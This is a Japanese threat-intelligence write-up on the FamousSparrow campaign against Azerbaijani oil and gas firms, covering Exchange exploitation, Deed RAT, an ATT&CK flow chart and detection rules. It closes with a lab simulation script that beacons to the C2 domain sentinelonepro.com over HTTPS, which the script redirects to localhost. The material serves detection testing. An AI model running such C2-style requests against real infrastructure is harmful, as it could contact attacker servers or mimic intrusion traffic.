FamousSparrow、アゼルバイジャンの石油・ガス部門を標的に
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Bitdefender Labsは、2025年12月から2026年2月にかけて、アゼルバイジャンの石油・ガス企業を標的とした複数の波の侵入を特定しました。攻撃者はProxyShellおよびProxyNotShellのチェーンを利用してMicrosoft Exchangeを侵害し、その後、進化したDLLサイドローディング技術を使用してDeed RATとTerndoorバックドアを展開し、同じ初期アクセスポイントから何度も戻ってきました。Bitdefenderはこの活動を、中国関連のAPTグループFamousSparrowに中程度から高い確信をもって帰しました。このキャンペーンは、APIフックや段階的なローダーの活性化など、洗練された回避方法も示しました。
調査
研究者たちは、3つの異なる活動の波を文書化しました。最初の波はExchangeにウェブシェルを展開し、LogMeIn Hamachiに似たサービスを介してDeed RATを配信しました。2番目の波は、USOSharedとドライバーベースのチェーンを通じてTerndoorを展開しようと試み、最後の波は更新された構成データでDeed RATに戻りました。技術分析により、カスタム暗号化、RC4およびAES-CBC復号化ルーチン、LZNT1およびDeflate圧縮、カスタムのPEのようなヘッダー構造が明らかになりました。攻撃者は後にドメイン管理者アカウントを使用してRDP経由で横移動し、ImpacketフレームワークからSMBツールを使用しました。
軽減策
組織はExchangeサーバーを即座にパッチし、すべての既知のProxyShellおよびProxyNotShellの露出を修復する必要があります。ネットワークセグメンテーションは、資格情報再利用と横移動の影響を減らすのに役立ちます。防御者はDLLサイドローディング、APIフック、および疑わしいサービス作成の行動検出も展開する必要があります。特権RDPアクセスとSMBベースのリモート実行ツールに対する厳密な制御も推奨されます。
対応
セキュリティチームは、IISディレクトリ内に作成されたウェブシェルファイル、LogMeIn Hamachiと名付けられた予期しないWindowsサービス、ユーザー書き込み可能な経路から起動されたドライバーサービス登録に警告を発する必要があります。その後、 virusblocker.it.com and sentinelonepro.com などの異常なドメインへのHTTPSトラフィックは、他の疑わしい活動と相関させるべきです。調査者はまた、StartServiceCtrlDispatcherW や、新しいDLLを正当なバイナリと共にロードするすべてのプロセスを調査すべきです。 または
"グラフ TB %% クラス定義 クラス定義 action fill:#99ccff クラス定義 tool fill:#ffcc99 クラス定義 malware fill:#ff9999 クラス定義 technique fill:#e0e0e0 %% ノード定義 initial_access["<b>初期アクセス</b> – <b>T1210 リモートサービスの悪用</b><br/><b>テクニックID</b>: T1210<br/><b>説明</b>: Exchangeサーバーなどの脆弱なリモートサービスをProxyShellまたはProxyNotShellで悪用。"] クラス initial_access action persistence_webshell["<b>永続性</b> – <b>T1505.003 Webシェル</b><br/><b>テクニックID</b>: T1505.003<br/><b>説明</b>: 永続的アクセスのために侵害されたサーバーにWebシェルを展開。"] クラス persistence_webshell action malicious_service["<b>永続性</b> – <b>T1569 システムサービス</b><br/><b>テクニックID</b>: T1569<br/><b>説明</b>: 永続性のためにLogMeIn Hamachiとして偽装する悪意のあるサービスを作成。"] クラス malicious_service action tool_logmein["<b>ツール</b> – <b>名前</b>: LogMeIn Hamachi<br/><b>説明</b>: 偽装として使用される正当なVPNサービス。"] クラス tool_logmein tool execution_proxy["<b>実行</b> – <b>T1218 署名済バイナリ プロキシ実行</b><br/><b>テクニックID</b>: T1218<br/><b>説明</b>: 正当なシステムバイナリを使用して悪意のあるコードを起動。"] クラス execution_proxy action execution_masquerade["<b>実行</b> – <b>T1036 擬装</b><br/><b>テクニックID</b>: T1036<br/><b>説明</b>: 悪意のある実行ファイルをLMIGuardianSvc.exeとして名前を変更。"] クラス execution_masquerade action malware_lmi["<b>マルウェア</b> – <b>名前</b>: LMIGuardianSvc.exe<br/><b>説明</b>: 実行後に悪意のあるDLLをロード。"] クラス malware_lmi malware defense_reflective["<b>防御回避</b> – <b>T1620 反射的コード読み込み</b><br/><b>テクニックID</b>: T1620<br/><b>説明</b>: ディスクに接触せずにメモリにコードをロード。"] クラス defense_reflective action defense_processhollow["<b>防御回避</b> – <b>T1055.012 プロセスホロウィング</b><br/><b>テクニックID</b>: T1055.012<br/><b>説明</b>: 正当なプロセスメモリを悪意のあるコードで置き換え。"] クラス defense_processhollow action defense_threadhijack["<b>防御回避</b> – <b>T1055.003 スレッドハイジャック</b><br/><b>テクニックID</b>: T1055.003<br/><b>説明</b>: 実行中のプロセスのスレッドをハイジャック。"] クラス defense_threadhijack action defense_hide["<b>防御回避</b> – <b>T1564.010 アーティファクトの隠蔽</b><br/><b>テクニックID</b>: T1564.010<br/><b>説明</b>: 悪意のあるコンポーネントを検出から隠す。"] クラス defense_hide action payload_decrypt["<b>ペイロード処理</b> – <b>T1560.003 アーカイブの解凍</b><br/><b>テクニックID</b>: T1560.003<br/><b>説明</b>: 実行前にペイロードを復号化および解凍。"] クラス payload_decrypt action lateral_movement["<b>横移動</b> – <b>T1078 有効なアカウント</b><br/><b>テクニックID</b>: T1078<br/><b>説明</b>: 盗まれた資格情報を使用してRDPとSMB管理共有を介して横移動。"] クラス lateral_movement action tool_impacket["<b>ツール</b> – <b>名前</b>: Impacket<br/><b>説明</b>: ネットワークプロトコル用のPythonライブラリを使用してピボット。"] クラス tool_impacket tool c2_https["<b>コマンドとコントロール</b> – <b>T1071.001 Webプロトコル HTTPS</b><br/><b>テクニックID</b>: T1071.001<br/><b>説明</b>: 暗号化されたHTTPS経由でC2サーバーと通信。"] クラス c2_https action c2_contentinject["<b>コマンドとコントロール</b> – <b>T1659 コンテンツ注入</b><br/><b>テクニックID</b>: T1659<br/><b>説明</b>: 正当なHTTPレスポンスに悪意のあるコンテンツを注入。"] クラス c2_contentinject action impact_kernel["<b>インパクト</b> – <b>T1014 ルートキット</b><br/><b>テクニックID</b>: T1014<br/><b>説明</b>: 深い永続性のためにカーネルドライバTerndoorをインストールしようとする。"] クラス impact_kernel action %% 接続 initial_access –>|リードする| persistence_webshell persistence_webshell –>|リードする| malicious_service malicious_service –>|使用する| tool_logmein malicious_service –>|リードする| execution_proxy execution_proxy –>|使用する| execution_masquerade execution_masquerade –>|ロードする| malware_lmi malware_lmi –>|実行する| defense_reflective defense_reflective –>|実行する| defense_processhollow defense_processhollow –>|実行する| defense_threadhijack defense_threadhijack –>|実行する| defense_hide defense_hide –>|可能にする| payload_decrypt payload_decrypt –>|可能にする| lateral_movement lateral_movement –>|使用する| tool_impacket lateral_movement –>|リードする| c2_https c2_https –>|使用する| c2_contentinject c2_contentinject –>|可能にする| impact_kernel "
攻撃の流れ
検出
可能なウェブサーバーまたはWebアプリの悪用【Windows】(via cmdline)
表示
代替リモートアクセス/管理ソフトウェア(via process_creation)
表示
可能なIP検索ドメイン通信試行(via dns)
表示
IOC (HashMd5)で検出:FamousSparrow APTがアゼルバイジャンの石油・ガス産業を標的
表示
Deed RATコマンド&コントロール通信の検出【Windowsネットワーク接続】
表示
FamousSparrow APTによるDLLサイドローディング【アゼルバイジャン石油・ガス産業】【Windowsファイルイベント】
表示
## シミュレーション実行
前提条件:テレメトリー&ベースラインのプレフライトチェックが合格している必要があります。
-
攻撃の物語とコマンド:
Deed RATを操作する敵対者が、データの流出とコマンドの受信のために持続的なC2チャネルを確立したいと考えています。PowerShell (T1059.001)を使用して、RATはハードコーディングされた悪意のあるホストにHTTPS GETリクエストを行います
sentinelonepro.comポート443 (T1071.001)で。この接続は外向きであるため、Windowsファイアウォールを通過し、SysmonによってNetworkConnectイベントとしてキャプチャされます。このイベントに対して検出ルールが発火する必要があります。 -
回帰テストスクリプト:
<# Deed RAT C2シミュレーション – 悪意のあるホスト(sentinelonepro.com)への外向きHTTPS接続を作成 このスクリプトは隔離されたラボでのテストに安全です; ドメインは非ルータブルIP(127.0.0.1)に解決され 実際のC2インフラストラクチャと接触することを避けます。 #> # 安全のためにDNS解決を上書き(オプション) $hostsPath = "$env:SystemRootSystem32driversetchosts" if (-not (Select-String -Path $hostsPath -Pattern "sentinelonepro.com")) { Add-Content -Path $hostsPath -Value "`n127.0.0.1 sentinelonepro.com" } # HTTPSリクエストを実行(シミュレーションされたC2トラフィック) try { $response = Invoke-WebRequest -Uri "https://sentinelonepro.com/heartbeat" ` -UseBasicParsing ` -Headers @{ "User-Agent" = "DeedRAT/1.0" } ` -TimeoutSec 10 Write-Host "C2リクエスト完了、ステータスコード:" $response.StatusCode } catch { Write-Warning "C2リクエスト失敗(隔離されたラボで想定内):$_" } -
クリーンアップコマンド:
# 一時的なhostsエントリを削除 $hostsPath = "$env:SystemRootSystem32driversetchosts" (Get-Content $hostsPath) | Where-Object { $_ -notmatch "sentinelonepro.com" } | Set-Content $hostsPath # 残存ファイルをクリア Remove-Item -Path "$env:TEMPexample.html" -ErrorAction SilentlyContinue